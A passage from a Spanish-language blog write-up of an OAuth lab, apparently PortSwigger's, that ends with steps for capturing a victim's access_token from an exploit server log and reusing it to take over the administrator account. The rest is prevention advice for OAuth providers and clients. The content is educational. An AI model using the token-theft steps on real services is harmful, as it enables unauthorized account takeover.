Una vez hecho esto pulsamos sobre Deliver exploit to victim y posteriormente en Access log

Una vez tenemos el access_token lo sustituimos en la cabecera Authorization

Si queremos acceder a la cuenta de administrador debemos copiarnos el nombre de usuario, el access_token y el email

Pulsamos click derecho > Request in browser > In original session

Copiamos la URL en el navegador y ya podemos acceder a la cuenta del usuario administrador

Para resolver el laboratorio tenemos pulsar sobre Submit solution y pegar ahí la apiKey

Para prevenir vulnerabilidades en la autenticación OAuth, es fundamental que tanto el proveedor de OAuth como la aplicación cliente implementen una validación robusta de los datos clave, especialmente del parámetro redirect_uri. La especificación de OAuth ofrece muy poca protección integrada, por lo que depende de los desarrolladores asegurar que el flujo de OAuth sea lo más seguro posible

Es importante destacar que las vulnerabilidades pueden surgir tanto del lado de la aplicación cliente como del propio servicio de OAuth. Incluso si tu implementación es sólida, todo depende de que la aplicación del otro extremo sea igualmente robusta. Esto significa que

  • Si eres el la aplicación cliente, el otro extremo es el proveedor de OAuth/OpenID Connect como Google, Facebook o tu servicio interno)

  • Si eres el proveedor (el servicio de autenticación), el otro extremo es el cliente (la app que consume tu OAuth)

Para los proveedores de servicios OAuth se deberían implementar estas medidas

  • Requerir que las aplicaciones cliente registren una whitelist de redirect_uris válidos y siempre que sea posible, utilizar una comparación estricta byte por byte para validar la URI en las solicitudes entrantes. También sería conveniente permitir solo coincidencias completas y exactas en lugar de usar coincidencias por patrones, lo cual evitaría que los atacantes accedan a otras páginas en los dominios de la whitelist

  • Obligar el uso del parámetro state y vincular su valor a la sesión del usuario, incluyendo datos impredecibles y específicos de la sesión, como un hash que contenga la cookie de sesión. Esto ayuda a proteger a los usuarios contra ataques similares a CSRF. Además, dificulta significativamente que un atacante pueda utilizar códigos de autorización robados

  • En el servidor de recursos, asegurarse de verificar que el token de acceso fue emitido para el mismo client_id que realiza la solicitud y verificar el scope solicitado para confirmar que coincide con el scope para el cual se emitió originalmente el token

Para aplicaciones cliente OAuth se deberían implementar estas medidas

  • Comprender completamente cómo funciona OAuth antes de implementarlo. Hay situaciones en las que surgen vulnerabilidades debido a un desconocimiento de lo que ocurre en cada etapa y cómo podría ser explotado

  • Utilizar el parámetro state aunque no sea obligatorio

  • Enviar el parámetro redirect_uri no solo al endpoint /authorization, sino también al endpoint /token

  • En aplicaciones móviles o de escritorio nativas a menudo no es posible mantener el client_secret en secreto. En estos casos, se puede usar el mecanismo PKCE (RFC 7636) para añadir protección contra la interceptación o filtración de códigos de acceso

  • Si usas el id_token de OpenID Connect, valídalo correctamente según las especificaciones de JSON Web Signature (JWS), JSON Web Encryption (JWE) y OpenID

  • Tener cuidado con los códigos de autorización, ya que pueden filtrarse a través de cabeceras Referer cuando se cargan imágenes, scripts o CSS externos. También es importante no incluirlos en archivos JavaScript generados dinámicamente, ya que podrían ejecutarse desde dominios externos mediante etiquetas <script>

Esta entrada está licenciada bajo CC BY 4.0 por el autor.